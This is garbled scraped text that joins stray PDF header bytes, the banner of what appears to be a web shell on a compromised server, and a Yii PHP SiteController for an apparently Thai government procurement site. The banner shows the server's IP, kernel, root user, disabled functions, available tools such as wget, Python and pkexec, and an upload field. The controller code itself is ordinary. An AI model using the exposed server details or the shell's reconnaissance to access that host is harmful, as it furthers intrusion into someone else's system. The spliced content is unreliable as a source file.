%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 14.207.165.8 / Your IP : 216.73.216.101 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/egp/controllers/ |
Upload File : |
<?php
namespace app\controllers;
use Yii;
use yii\filters\AccessControl;
use yii\web\Controller;
use yii\web\Response;
use yii\filters\VerbFilter;
use app\models\LoginForm;
use app\models\ContactForm;
use app\models\TblEgpSearch;
use yii\data\ActiveDataProvider;
use Zend\Feed\Writer\Feed;
use app\models\TblCategory;
use yii\helpers\Url;
use app\models\TblEgp;
class SiteController extends Controller
{
/**
* {@inheritdoc}
*/
public function behaviors()
{
return [
'access' => [
'class' => AccessControl::className(),
'only' => ['logout'],
'rules' => [
[
'actions' => ['logout'],
'allow' => true,
'roles' => ['@'],
],
],
],
'verbs' => [
'class' => VerbFilter::className(),
'actions' => [
'logout' => ['post'],
],
],
];
}
/**
* {@inheritdoc}
*/
public function actions()
{
return [
'error' => [
'class' => 'yii\web\ErrorAction',
],
'captcha' => [
'class' => 'yii\captcha\CaptchaAction',
'fixedVerifyCode' => YII_ENV_TEST ? 'testme' : null,
],
];
}
/**
* Displays homepage.
*
* @return string
*/
public function actionIndex()
{
{
$searchModel = new TblEgpSearch();
$dataProvider = $searchModel->search(Yii::$app->request->queryParams);
$dataProvider->pagination = ['pageSize' => 20];
$dataProvider->sort = [
'defaultOrder' => [
'date' => SORT_DESC,
]
];
return $this->render('index', [
'searchModel' => $searchModel,
'dataProvider' => $dataProvider,
]);
}
}
public function actionRss() {
// $dataProvider = new ActiveDataProvider([
// 'query' => TblEgp::find(),
// 'pagination' => [
// 'pageSize' => 20
// ],
// ]);
$searchModel = new TblEgpSearch();
$dataProvider = $searchModel->search(Yii::$app->request->queryParams);
$dataProvider->pagination = ['pageSize' => 20];
$dataProvider->sort = [
'defaultOrder' => [
'date' => SORT_DESC,
]
];
// $response = Yii::$app->getResponse();
// $headers = $response->getHeaders();
// $headers->set('Content-Type', 'application/rss+xml; charset=utf-8');
// \Yii::$app->response->getHeaders()->set('Content-Type', 'application/rss+xml');
// \Yii::$app->response->format = \yii\web\Response::FORMAT_XML;
// \Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
\Yii::$app->response->format = \yii\web\Response::FORMAT_RAW;
// $headers = \Yii::$app->response->headers;
// $headers->add('Content-Type', 'text/xml');
// $headers = \Yii::$app->response->headers;
// $response = Yii::$app->getResponse();
// $headers = $response->getHeaders();
// $headers->add('Content-Type', 'application/rss+xml; charset=utf-8');
// \Yii::$app->response->getHeaders()->set('Content-Type', 'application/rss+xml; charset=utf-8');
$xml = \Zelenin\yii\extensions\Rss\RssView::widget([
'dataProvider' => $dataProvider,
'channel' => [
'title' => function ($widget, \Zelenin\Feed $feed) {
return 'ระบบจัดซื้อจัดจ้างภาครัฐ';
},
'description' => ' ',
'link' => Url::toRoute('/', true),
],
'items' => [
'title' => function ($model, $widget, \Zelenin\Feed $feed) {
return $model->egp_title;
},
'description' => function ($model, $widget, \Zelenin\Feed $feed) {
$rows = TblCategory::find()->where(['cat_id' => $model->cat_id])->one();
return $rows->cat_name;
},
'link' => function ($model, $widget, \Zelenin\Feed $feed) {
return $model->egp_detail;
},
'cat' => function ($model, $widget, \Zelenin\Feed $feed) {
return $model->cat_id;
},
'pubDate' => function ($model, $widget, \Zelenin\Feed $feed) {
return $model->date;
},
]
]);
return $xml;
}
/**
* Login action.
*
* @return Response|string
*/
public function actionLogin()
{
if (!Yii::$app->user->isGuest) {
return $this->goHome();
}
$model = new LoginForm();
if ($model->load(Yii::$app->request->post()) && $model->login()) {
return $this->goBack();
}
$model->password = '';
return $this->render('login', [
'model' => $model,
]);
}
/**
* Logout action.
*
* @return Response
*/
public function actionLogout()
{
Yii::$app->user->logout();
return $this->goHome();
}
/**
* Displays contact page.
*
* @return Response|string
*/
public function actionContact()
{
$model = new ContactForm();
if ($model->load(Yii::$app->request->post()) && $model->contact(Yii::$app->params['adminEmail'])) {
Yii::$app->session->setFlash('contactFormSubmitted');
return $this->refresh();
}
return $this->render('contact', [
'model' => $model,
]);
}
/**
* Displays about page.
*
* @return string
*/
public function actionAbout()
{
return $this->render('about');
}
}